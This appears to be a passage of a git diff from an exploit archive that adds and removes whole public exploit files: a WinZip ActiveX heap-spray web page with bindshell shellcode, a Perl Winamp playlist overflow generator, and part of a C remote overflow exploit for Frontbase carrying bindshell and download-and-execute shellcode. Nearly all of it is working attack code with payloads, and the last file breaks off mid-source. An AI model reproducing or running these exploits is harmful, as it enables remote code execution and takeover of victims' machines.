-shellcode = unescape("%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb");
-//bindshell port 28876
-bigblock = unescape("%u9090%u9090");
-headersize = 20;
-slackspace = headersize+shellcode.length
-while (bigblock.length<slackspace) bigblock+=bigblock;
-fillblock = bigblock.substring(0, slackspace);
-block = bigblock.substring(0, bigblock.length-slackspace);
-while(block.length+slackspace<0x40000) block = block+block+fillblock;
-memory = new Array();
-for (i=0;i<900;i++) memory[i] = block + shellcode;
-var buf = 'A';
-while (buf.length < 512) buf+='\x09';
-WZFILEVIEW.CreateNewFolderFromName(buf);
-</SCRIPT>
-</BODY>
-</HTML>
-
-# milw0rm.com [2007-03-06]
+<!--
+prdelka
+http://blogs.23.nu/prdelka
+
+I made a version of my winzip exploit that utilises the heap spray 
+method with a bindshell for some project or other. you can download a 
+copy here if its of use to you, note i used a different method courtesy 
+of http://www.milw0rm.com/exploits/3055 - however i couldnt get their 
+exploit to function. enjoy. 
+-->
+
+<HTML>
+<HEAD>
+<meta http-equiv="refresh" content="0">
+<TITLE></TITLE>
+</HEAD>
+<BODY>
+<OBJECT ID="WZFILEVIEW" WIDTH=50 HEIGHT=50 CLASSID="CLSID:A09AE68F-B14D-43ED-B713-BA413F034904"></OBJECT>
+<script type="text/javascript">
+shellcode = unescape("%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb");
+//bindshell port 28876
+bigblock = unescape("%u9090%u9090");
+headersize = 20;
+slackspace = headersize+shellcode.length
+while (bigblock.length<slackspace) bigblock+=bigblock;
+fillblock = bigblock.substring(0, slackspace);
+block = bigblock.substring(0, bigblock.length-slackspace);
+while(block.length+slackspace<0x40000) block = block+block+fillblock;
+memory = new Array();
+for (i=0;i<900;i++) memory[i] = block + shellcode;
+var buf = 'A';
+while (buf.length < 512) buf+='\x09';
+WZFILEVIEW.CreateNewFolderFromName(buf);
+</SCRIPT>
+</BODY>
+</HTML>
+
+# milw0rm.com [2007-03-06]
diff --git a/platforms/windows/remote/3422.pl b/platforms/windows/remote/3422.pl
index 08f282f25..a6c83656b 100755
--- a/platforms/windows/remote/3422.pl
+++ b/platforms/windows/remote/3422.pl
@@ -1,77 +1,77 @@
-#!/usr/bin/perl -w
-# ===============================================================================================
-#                Winamp 5.12 Playlist UNC Path Computer Name Overflow Perl Exploit
-#                               By Umesh Wanve (umesh_345@yahoo.com)
-# =========================================================================================================================== 
-# Credits : ATmaCA is credited with the discovery of this vulnerability.
-#
-# Date : 07-03-2007
-#
-# Tested on Windows 2000 SP4 Server English
-#           Windows 2000 SP4 Professional English
-#
-# You can replace shellcode with your favourite one :)
-#
-# 
-# Buffer = "\x90 x 1023"      +  EIP    
-# 
-# Desc: you cant put shellcode after EIP. No more space after this. The winamp simply crashes.  When you debug it, you will see that
-#   shellcode is 304 bytes away from ESP. So jump to esp + 304 should work. Find such address if u can. 
-# 
-#
-# This was written for educational purpose. Use it at your own risk.Author will be not be responsible for any damage.
-#
-#
-#============================================================================================================================
-
-#jump to shellcode
-$jmp="\x61\xD9\x02\x02".
-	"\x83\xEC\x34".                  
-	"\x83\xEC\x70".                  
-	"\xFF\xE4";                     
-
-
-#\x83\xEC\x34  add esp ,34
-#\xFF\xE4  jump esp
-
-$nop="\x90" x 856;
-
-$start= "[playlist]\r\nFile1=\\\\";
-$end="\r\nTitle1=Winamp Exploit by Umesh\r\nLength1=512\r\nNumberOfEntries=1\r\nVersion=2\r\n";
-
-#open calc.exe
-$shellcode =
-      "\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02".
-      "\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48".
-	"\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4".
-	"\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12".
-	"\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69".
-      "\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6".
-	"\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5".
-	"\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21".
-	"\x61\xdd\x0e\x4d";
-
-
-open (MYFILE, '>>poc.pls');
-
-print MYFILE $start;          
-
-print MYFILE $nop;            #856
-
-print MYFILE $shellcode;      #165 
-
-print MYFILE "\xCC\xCC";      #2 bytes
-
-print MYFILE $jmp;            # EIP    
-
-print MYFILE "\x90\x90\x90\x90";
-
-print MYFILE $end;
-
-
-close (MYFILE);
-
-
-##############################################################################################3
-
-# milw0rm.com [2007-03-07]
+#!/usr/bin/perl -w
+# ===============================================================================================
+#                Winamp 5.12 Playlist UNC Path Computer Name Overflow Perl Exploit
+#                               By Umesh Wanve (umesh_345@yahoo.com)
+# =========================================================================================================================== 
+# Credits : ATmaCA is credited with the discovery of this vulnerability.
+#
+# Date : 07-03-2007
+#
+# Tested on Windows 2000 SP4 Server English
+#           Windows 2000 SP4 Professional English
+#
+# You can replace shellcode with your favourite one :)
+#
+# 
+# Buffer = "\x90 x 1023"      +  EIP    
+# 
+# Desc: you cant put shellcode after EIP. No more space after this. The winamp simply crashes.  When you debug it, you will see that
+#   shellcode is 304 bytes away from ESP. So jump to esp + 304 should work. Find such address if u can. 
+# 
+#
+# This was written for educational purpose. Use it at your own risk.Author will be not be responsible for any damage.
+#
+#
+#============================================================================================================================
+
+#jump to shellcode
+$jmp="\x61\xD9\x02\x02".
+	"\x83\xEC\x34".                  
+	"\x83\xEC\x70".                  
+	"\xFF\xE4";                     
+
+
+#\x83\xEC\x34  add esp ,34
+#\xFF\xE4  jump esp
+
+$nop="\x90" x 856;
+
+$start= "[playlist]\r\nFile1=\\\\";
+$end="\r\nTitle1=Winamp Exploit by Umesh\r\nLength1=512\r\nNumberOfEntries=1\r\nVersion=2\r\n";
+
+#open calc.exe
+$shellcode =
+      "\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02".
+      "\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48".
+	"\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4".
+	"\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12".
+	"\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69".
+      "\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6".
+	"\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5".
+	"\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21".
+	"\x61\xdd\x0e\x4d";
+
+
+open (MYFILE, '>>poc.pls');
+
+print MYFILE $start;          
+
+print MYFILE $nop;            #856
+
+print MYFILE $shellcode;      #165 
+
+print MYFILE "\xCC\xCC";      #2 bytes
+
+print MYFILE $jmp;            # EIP    
+
+print MYFILE "\x90\x90\x90\x90";
+
+print MYFILE $end;
+
+
+close (MYFILE);
+
+
+##############################################################################################3
+
+# milw0rm.com [2007-03-07]
diff --git a/platforms/windows/remote/3650.c b/platforms/windows/remote/3650.c
index 5f6300762..20e4ca364 100755
--- a/platforms/windows/remote/3650.c
+++ b/platforms/windows/remote/3650.c
@@ -1,606 +1,606 @@
-/* Dreatica-FXP crew
-* 
-* ----------------------------------------
-* Target         : Frontbase <= 4.2.7 for Windows 
-* Site           : http://www.frontbase.com
-* Found by       : Netragard, L.L.C Advisory
-* ----------------------------------------
-* Exploit        : Frontbase <= 4.2.7 POST-AUTH remote buffer overflow 
-* Exploit date   : 02.04.2007
-* Exploit writer : Heretic2 (heretic2x@gmail.com)
-* OS             : Windows XP SP0-SP2 
-* Crew           : Dreatica-FXP
-* ----------------------------------------
-* Info           : This is the EIP overwrite realization of the Frontbase 'create procedure' buffer overflow.
-*  Exploit was tested on Frontbase 4.2.7 and 4.1.16 versions under Windows XP SP0, Windows XP SP1, Windows XP SP2.
-*  to add the Windows 2000 here , you will need to update a little stabstack code or use the SEH method exploit.
-* 
-*  this version of that exploit doesn't used the code from win32 SEH GetPC project to get the baseaddress
-*  cause this was not worked on the Windows XP, so i took it from stack and calculated baseaddress.
-*
-*  also i added here the 'Download and Execute exploit'.
-*
-*  Exploit requires authentification!
-*
-* ----------------------------------------
-* Compiling:
-*  To compile this exploit you need:
-*    1. Folder 'C:\usr\FrontBase\Include\FBCAccess' copy to exploit folder.
-*    2. Copy from 'C:\usr\FrontBase\lib\' file 'FBCAccess.lib' to your exploit folder.
-*    3. Select 'FBCAccess.lib' in linker options
-*    4. Compile.
-* ----------------------------------------
-* Thanks to:
-*       1. Netragard, L.L.C Advisory   ( http://www.netragard.com -- "We make I.T. Safe." )
-*       2. The Metasploit project      ( http://metasploit.com                            ) 
-*       3. ALPHA 2: Zero-tolerance     ( <skylined [at] edup.tudelft.nl>                  ) 
-*       4. Dreatica-FXP crew           (                                                  )
-* ----------------------------------------
-* This was written for educational purpose only. Use it at your own risk. Author will be not be 
-* responsible for any damage, caused by that code.
-*/
-
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <winsock2.h>
-#include <time.h>
-#pragma comment(lib,"ws2_32")
-#include "FBCAccess/FBCAccess.h"
-
-void usage(char * s);
-void logo();
-void prepare_shellcode(unsigned char * fsh, int sh, char * url);
-void make_buffer(char * buf, int itarget, int sh, char * url);
-int  validate_args( int port, int sh, int itarget);
-int  send_buffer(char * host, int port, char * user, char * password, char * dbpassword, char * database, char * buf);
-int  alphanumeric_encoder_thx_to_skylined(char *to_encode, char *encoded );
-
-// -----------------------------------------------------------------
-// XGetopt.cpp  Version 1.2
-// -----------------------------------------------------------------
-int getopt(int argc, char *argv[], char *optstring);
-char	*optarg;		// global argument pointer
-int		optind = 0, opterr; 	// global argv index
-// -----------------------------------------------------------------
-// -----------------------------------------------------------------
-
-struct _target{
-	const char *t ;
-	unsigned long ret ;
-} targets[] = 
-{	// alphanumeric jmp esp, for Windows XP i found it only in ole32.dll
-	{"Windows XP SP0 RUSSIAN                   [  ole32.dll  ]",   0x77271f36 }, 
-	{"Windows XP SP1 RUSSIAN                   [  ole32.dll  ]",   0x77270670 }, 
-	{"Windows XP SP2 RUSSIAN                   [  ole32.dll  ]",   0x77544326 }, 
-	{"Windows XP SP2 DUTCH                     [  ole32.dll  ]",   0x77514326 }, 	
-	{NULL,                                               0x00000000 }
-
-};
-struct {
-	const char * name;
-	char * shellcode;
-}shellcodes[]={ 	
-	 {"Spawn bindshell on port 4444", 
-		 /* modified win32_bind -  EXITFUNC=seh LPORT=4444 Encoder=Alpha2 http://metasploit.com 
-		    first jmp instructions removed, cause we already have the baseaddress in ECX */
-		"\x49\x49\x49\x49\x49\x49"
-		"\x49\x49\x49\x49\x49\x37\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x66"
-		"\x58\x30\x42\x31\x50\x41\x42\x6b\x42\x41\x76\x32\x42\x42\x32\x41"
-		"\x41\x30\x41\x41\x42\x58\x50\x38\x42\x42\x75\x38\x69\x39\x6c\x52"
-		"\x4a\x5a\x4b\x42\x6d\x68\x68\x48\x79\x4b\x4f\x6b\x4f\x4b\x4f\x65"
-		"\x30\x6c\x4b\x30\x6c\x31\x34\x71\x34\x4e\x6b\x42\x65\x65\x6c\x6e"
-		"\x6b\x53\x4c\x43\x35\x62\x58\x55\x51\x4a\x4f\x4e\x6b\x72\x6f\x54"
-		"\x58\x6c\x4b\x51\x4f\x77\x50\x53\x31\x78\x6b\x43\x79\x4e\x6b\x54"
-		"\x74\x6c\x4b\x35\x51\x6a\x4e\x64\x71\x6f\x30\x6e\x79\x6e\x4c\x6d"
-		"\x54\x6f\x30\x64\x34\x55\x57\x4f\x31\x59\x5a\x36\x6d\x36\x61\x59"
-		"\x52\x5a\x4b\x4c\x34\x37\x4b\x62\x74\x47\x54\x46\x48\x70\x75\x4d"
-		"\x35\x6c\x4b\x73\x6f\x64\x64\x33\x31\x4a\x4b\x43\x56\x4c\x4b\x44"
-		"\x4c\x62\x6b\x6e\x6b\x63\x6f\x57\x6c\x65\x51\x6a\x4b\x77\x73\x56"
-		"\x4c\x6c\x4b\x6e\x69\x62\x4c\x44\x64\x45\x4c\x55\x31\x6f\x33\x44"
-		"\x71\x6b\x6b\x51\x74\x4e\x6b\x53\x73\x30\x30\x4e\x6b\x57\x30\x34"
-		"\x4c\x6c\x4b\x64\x30\x37\x6c\x4e\x4d\x6c\x4b\x53\x70\x73\x38\x73"
-		"\x6e\x30\x68\x4c\x4e\x62\x6e\x74\x4e\x38\x6c\x30\x50\x79\x6f\x6a"
-		"\x76\x51\x76\x30\x53\x42\x46\x72\x48\x35\x63\x45\x62\x33\x58\x64"
-		"\x37\x64\x33\x74\x72\x43\x6f\x33\x64\x4b\x4f\x78\x50\x52\x48\x38"
-		"\x4b\x7a\x4d\x4b\x4c\x57\x4b\x62\x70\x69\x6f\x6e\x36\x71\x4f\x6e"
-		"\x69\x4b\x55\x33\x56\x6c\x41\x4a\x4d\x76\x68\x74\x42\x63\x65\x51"
-		"\x7a\x77\x72\x4b\x4f\x4a\x70\x63\x58\x6e\x39\x35\x59\x6b\x45\x4e"
-		"\x4d\x30\x57\x4b\x4f\x38\x56\x50\x53\x50\x53\x42\x73\x51\x43\x70"
-		"\x53\x70\x43\x32\x73\x52\x63\x76\x33\x59\x6f\x6e\x30\x55\x36\x33"
-		"\x58\x76\x71\x71\x4c\x63\x56\x56\x33\x6e\x69\x59\x71\x4e\x75\x55"
-		"\x38\x4c\x64\x55\x4a\x72\x50\x6b\x77\x56\x37\x4b\x4f\x4e\x36\x53"
-		"\x5a\x56\x70\x32\x71\x33\x65\x69\x6f\x4e\x30\x62\x48\x39\x34\x4c"
-		"\x6d\x74\x6e\x4a\x49\x63\x67\x69\x6f\x79\x46\x43\x63\x36\x35\x6b"
-		"\x4f\x68\x50\x35\x38\x5a\x45\x70\x49\x6d\x56\x70\x49\x41\x47\x6b"
-		"\x4f\x68\x56\x56\x30\x41\x44\x33\x64\x71\x45\x69\x6f\x4e\x30\x4d"
-		"\x43\x53\x58\x5a\x47\x70\x79\x6b\x76\x73\x49\x41\x47\x49\x6f\x4e"
-		"\x36\x63\x65\x4b\x4f\x4e\x30\x53\x56\x50\x6a\x35\x34\x53\x56\x41"
-		"\x78\x61\x73\x30\x6d\x4c\x49\x4b\x55\x72\x4a\x72\x70\x76\x39\x45"
-		"\x79\x58\x4c\x6b\x39\x59\x77\x31\x7a\x67\x34\x4c\x49\x49\x72\x70"
-		"\x31\x6f\x30\x6c\x33\x6f\x5a\x69\x6e\x72\x62\x36\x4d\x4b\x4e\x53"
-		"\x72\x34\x6c\x6a\x33\x6e\x6d\x62\x5a\x36\x58\x6c\x6b\x4c\x6b\x4e"
-		"\x4b\x61\x78\x30\x72\x6b\x4e\x6d\x63\x46\x76\x4b\x4f\x44\x35\x32"
-		"\x64\x39\x6f\x38\x56\x51\x4b\x70\x57\x52\x72\x70\x51\x32\x71\x53"
-		"\x61\x42\x4a\x43\x31\x56\x31\x46\x31\x70\x55\x43\x61\x79\x6f\x6a"
-		"\x70\x62\x48\x6e\x4d\x59\x49\x67\x75\x7a\x6e\x33\x63\x39\x6f\x59"
-		"\x46\x63\x5a\x59\x6f\x4b\x4f\x76\x57\x6b\x4f\x6a\x70\x4c\x4b\x61"
-		"\x47\x59\x6c\x6b\x33\x38\x44\x43\x54\x49\x6f\x58\x56\x36\x32\x59"
-		"\x6f\x4e\x30\x43\x58\x68\x70\x4f\x7a\x54\x44\x73\x6f\x71\x43\x4b"
-		"\x4f\x4e\x36\x6b\x4f\x78\x50\x66"
-	 },	 
-	 { "Download and execute shellcode (set URL)",
-		/* win32_download_exec - http://metasploit.com */
-		/* encoded by "ALPHA 2: Zero-tolerance. <skylined@edup.tudelft.nl> */
-		"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
-		"\x49\x37\x51\x5A\x6A\x41\x58\x50\x30\x41\x30\x41\x6B\x41\x41\x51"
-		"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42"
-		"\x75\x4A\x49\x58\x6B\x36\x70\x71\x4A\x33\x7A\x76\x53\x59\x59\x71"
-		"\x76\x38\x39\x57\x4C\x35\x51\x6B\x30\x74\x74\x74\x4A\x6E\x79\x39"
-		"\x72\x7A\x5A\x78\x6B\x36\x65\x4D\x38\x7A\x4B\x4B\x4F\x4B\x4F\x4B"
-		"\x4F\x54\x30\x50\x4C\x4E\x79\x6C\x59\x5A\x39\x4F\x33\x79\x6D\x55"
-		"\x68\x6C\x69\x5A\x39\x4E\x79\x4A\x39\x34\x52\x58\x59\x6E\x75\x54"
-		"\x52\x4B\x59\x6D\x55\x36\x54\x45\x42\x7A\x79\x6F\x61\x56\x72\x53"
-		"\x71\x34\x52\x5A\x4A\x6D\x75\x76\x72\x4A\x4D\x4E\x67\x4D\x31\x6F"
-		"\x6A\x72\x4A\x36\x72\x6B\x57\x4E\x59\x4F\x6A\x33\x52\x76\x72\x6E"
-		"\x37\x4C\x4D\x6F\x5A\x74\x34\x7A\x6F\x48\x4E\x79\x58\x55\x42\x4D"
-		"\x76\x4C\x5A\x73\x52\x74\x52\x32\x4B\x6B\x43\x4C\x57\x49\x50\x52"
-		"\x4A\x75\x6F\x7A\x4D\x4A\x31\x69\x50\x59\x56\x54\x5A\x51\x4E\x4F"
-		"\x6D\x69\x4C\x33\x4B\x64\x30\x4B\x70\x6F\x36\x6B\x77\x54\x52\x73"
-		"\x64\x62\x32\x79\x4F\x4D\x6D\x6E\x7A\x70\x5A\x73\x78\x70\x78\x4F"
-		"\x6A\x62\x78\x6D\x7A\x50\x50\x4B\x4F\x75\x42\x4A\x31\x75\x42\x4B"
-		"\x6F\x6F\x75\x4D\x4A\x61\x4A\x52\x78\x52\x58\x4D\x4B\x6E\x7A\x50"
-		"\x58\x66\x72\x4D\x49\x6D\x4A\x51\x4A\x56\x72\x55\x33\x62\x32\x50"
-		"\x6E\x55\x4A\x51\x4F\x4E\x77\x75\x42\x63\x79\x49\x63\x4D\x4D\x39"
-		"\x50\x32\x51\x4B\x79\x4D\x49\x6D\x49\x6E\x79\x76\x7A\x51\x4F\x4C"
-		"\x54\x68\x4B\x78\x4F\x71\x76\x6A\x6E\x55\x35\x59\x53\x77\x62\x53"
-		"\x71\x4B\x43\x4E\x78\x39\x50\x31\x61\x59\x34\x4D\x49\x4C\x59\x6E"
-		"\x79\x46\x7A\x71\x4F\x6F\x7A\x6A\x6F\x69\x4F\x74\x59\x4D\x77\x77"
-		"\x69\x78\x6C\x73\x53\x37\x69\x6E\x4F\x37\x69\x7A\x67\x75\x4A\x73"
-		"\x45\x6E\x59\x75\x42\x71\x55\x6B\x43\x78\x39\x4B\x7A\x45\x36\x68"
-		"\x4E\x73\x45\x31\x4E\x6D\x4D\x4F\x6A\x39\x55\x79\x68\x6E\x57\x4B"
-		"\x4C\x51\x4E\x6B\x6D\x4F\x6A\x4D\x4D\x38\x61\x79\x6C\x6C\x59\x6A"
-		"\x39\x4F\x5A\x70\x59\x4B\x79\x79\x59\x6A\x6A\x4A\x6F\x39\x59\x73"
-		"\x56\x48\x4E\x53\x55\x55\x42\x71\x55\x6B\x79\x6A\x6A\x50\x66\x48"
-		"\x4E\x65\x39\x6A\x69\x65\x36\x78\x4E\x50\x6D\x6F\x5A\x52\x79\x30"
-		"\x35\x35\x4C\x50\x59\x4A\x4C\x31\x70\x58\x48\x78\x4B\x78\x4F\x6A"
-		"\x6A\x52\x46\x50\x4B\x68\x43\x6B\x70\x74\x72\x73\x4B\x70\x77\x4F"
-		"\x5A\x56\x39\x73\x6A\x61\x61\x4D\x6F\x63\x56\x43\x56\x75\x36\x4B"
-		"\x6E\x79\x6C\x7A\x4D\x6F\x39\x78\x6B\x58\x76\x6B\x4A\x78\x58\x4B"
-		"\x4D\x6B\x4D\x5A\x4B\x4B\x4C\x4A\x4A\x7A\x4A\x5A\x39\x59\x4E\x6B"
-		"\x4C\x48\x6D\x5A\x6A\x6B\x50\x4B\x5A\x5A\x4D\x4B\x4C\x4B\x44\x6B"
-		"\x6D\x6C\x30\x4A\x4B\x6B\x4C\x79\x6A\x58\x6D\x59\x66\x5A\x4B\x59"
-		"\x70\x68\x58\x4D\x49\x7A\x6E\x6A\x50\x4C\x37\x4B\x6C\x6D\x31\x6B"
-		"\x4C\x6B\x4A\x6C\x59\x4B\x6C\x6B\x51\x5A\x50\x48\x6D\x4A\x6D\x68"
-		"\x71\x4A\x4B\x79\x6C\x59\x68\x6B\x4D\x4F\x69\x6E\x35\x4B\x46\x6B"
-		"\x48\x4B\x4D\x4E\x35\x78\x70\x6B\x4B\x4A\x4B\x7A\x58\x48\x6B\x4B"
-		"\x50\x4A\x78\x4C\x59\x4A\x4C\x4A\x4B\x6A\x55\x59\x64\x4C\x36\x6B"
-		"\x47\x4E\x79\x68\x4C\x38\x4B\x7A\x75\x4B\x6D\x79\x66\x7A\x4E\x4B"
-		"\x47\x39\x65\x4A\x56\x58\x78\x4B\x4D\x7A\x6D\x4C\x36\x59\x4F\x78"
-		"\x70\x7A\x55\x39\x6C\x6E\x38\x6D\x49"
-	 },
-	{NULL , NULL }
-};
-
-// alphanumeric stack stabilizer
-char stabstack[]= "\x01\x01\x01\x01\x54\x54\x5b\x58\x66\x2d\x30\x30\x50\x5c\x53\x58\x04\x20\x50\x59";
-
-int main(int argc, char **argv)
-{
-	char temp1[100], temp2[100];
-	char *url= NULL, * remotehost=NULL, * user=NULL, * password=NULL, * database=NULL, * dbpassword=NULL;
-	char default_remotehost[]="127.0.0.1";
-	char default_user[]="_SYSTEM";
-	char default_password[]="";
-	char default_database[]="";
-	char default_dbpassword[]="";
-	int port, itarget, sh;
-	char c;		
-	logo();
-	if(argc<2)
-	{
-		usage(argv[0]);		
-		return -1;
-	}
-	// set defaults		
-	port=-1;
-	itarget=0;
-	sh=0;
-	// ------------		
-	while((c = getopt(argc, argv, "h:p:s:t:u:P:d:D:x:"))!= EOF)
-	{
-		switch (c)
-		{
-			case 'h':
-				remotehost=optarg;
-				break; 	
-			case 's':
-				sscanf(optarg, "%d", &sh);
-				sh--;
-				break;
-			case 't':
-				sscanf(optarg, "%d", &itarget);
-				itarget--;
-				break;
-			case 'p':
-				sscanf(optarg, "%d", &port);
-				break;		
-			case 'u':
-				user=optarg;
-				break; 
-			case 'P':
-				password=optarg;
-				break; 
-			case 'd':
-				database=optarg;
-				break; 
-			case 'x':
-				url=optarg;
-				break;
-			default:
-	            usage(argv[0]);
-			return -1;
-		}		
-	}
-	if(validate_args( port, sh, itarget)==-1) return -1;
-	if(remotehost == NULL) remotehost=default_remotehost;
-	if(user       == NULL) user=default_user;
-	if(password   == NULL) password=default_password;
-	if(dbpassword == NULL) dbpassword=default_dbpassword;
-	if(database   == NULL) database=default_database;
-	if(url        == NULL) url="";
-	memset(temp1,0,sizeof(temp1));
-	memset(temp2,0,sizeof(temp2));
-	memset(temp1, '\x20' , 58 - strlen(remotehost) -1);	
-	printf(" #  Host    : %s%s# \n", remotehost, temp1);	
-	if(port!=-1)
-	{
-		sprintf(temp2, "%d", port);
-		memset(temp1,0,sizeof(temp1));
-		memset(temp1, '\x20' , 58 - strlen(temp2) -1);
-		printf(" #  Port    : %s%s# \n", temp2, temp1);
-	}else
-	{
-		sprintf(temp2, "%s", database);
-		memset(temp1,0,sizeof(temp1));
-		memset(temp1, '\x20' , 58 - strlen(temp2) -1);
-		printf(" #  Database: %s%s# \n", temp2, temp1);
-	}
-	sprintf(temp2, "%s", user);
-	memset(temp1,0,sizeof(temp1));
-	memset(temp1, '\x20' , 58 - strlen(temp2) -1);
-	printf(" #  User    : %s%s# \n", temp2, temp1);
-	memset(temp1,0,sizeof(temp1));	
-	memset(temp2,0,sizeof(temp2));
-	sprintf(temp2, "%s", shellcodes[sh].name );
-	memset(temp1, '\x20' , 58 - strlen(temp2) -1);	
-	printf(" #  Shellcde: %s%s# \n", temp2, temp1);	
-	if(sh==1)
-	{
-		memset(temp1,0,sizeof(temp1));	
-		memset(temp2,0,sizeof(temp2));
-		sprintf(temp2, "%s", url );
-		memset(temp1, '\x20' , 58 - strlen(temp2) -1);	
-		printf(" #  URL     : %s%s# \n", temp2, temp1);	
-	}
-	memset(temp1,0,sizeof(temp1));	
-	memset(temp1, '\x20' , 58 - strlen(targets[itarget].t) -1);	
-	printf(" #  Target  : %s%s# \n", targets[itarget].t, temp1);	
-	printf(" # ------------------------------------------------------------------- # \n");
-	fflush(stdout);
-	
-	char buf[20000];
-	memset(buf,0,sizeof(buf));
-	printf("[+] Constructing attacking buffer... ");
-	fflush(stdout);
-	make_buffer((char *)buf,itarget,sh, url);
-	printf("done\n");
-
-	if(send_buffer(remotehost,port, user, password, dbpassword, database, buf)==-1)
-	{
-		fprintf(stdout, "[-] Cannot exploit server %s\n", remotehost);		
-		return -1;
-	}
-	return 0;
-}
-
-int validate_args(int port, int sh, int itarget)
-{
-	int i=0,x=0;
-	for(i=0;shellcodes[i].name;i++)if(i==sh)x=1;
-    if(x==0)
-	{
-		printf("[-] The shellcode number is invalid\n");
-		return -1;
-	}	
-	x=0;
-	for(i=0;targets[i].t;i++)if(i==itarget)x=1;
-	if(x==0)
-	{
-		printf("[-] The target is invalid\n");
-		return -1;
-	}	
-	return 1;
-}
-
-void prepare_shellcode( char * fsh, int sh, char * url)
-{
-	memcpy(fsh, shellcodes[sh].shellcode, strlen(shellcodes[sh].shellcode));	
-	if(sh==1)
-	{
-		char locurl[1000];
-		memcpy(locurl, url, strlen(url));
-		locurl[strlen(locurl)]='\x80';
-		char encoded_url[2500] ;
-		alphanumeric_encoder_thx_to_skylined(locurl, encoded_url);
-		strcat(fsh, encoded_url);	
-	}
-}
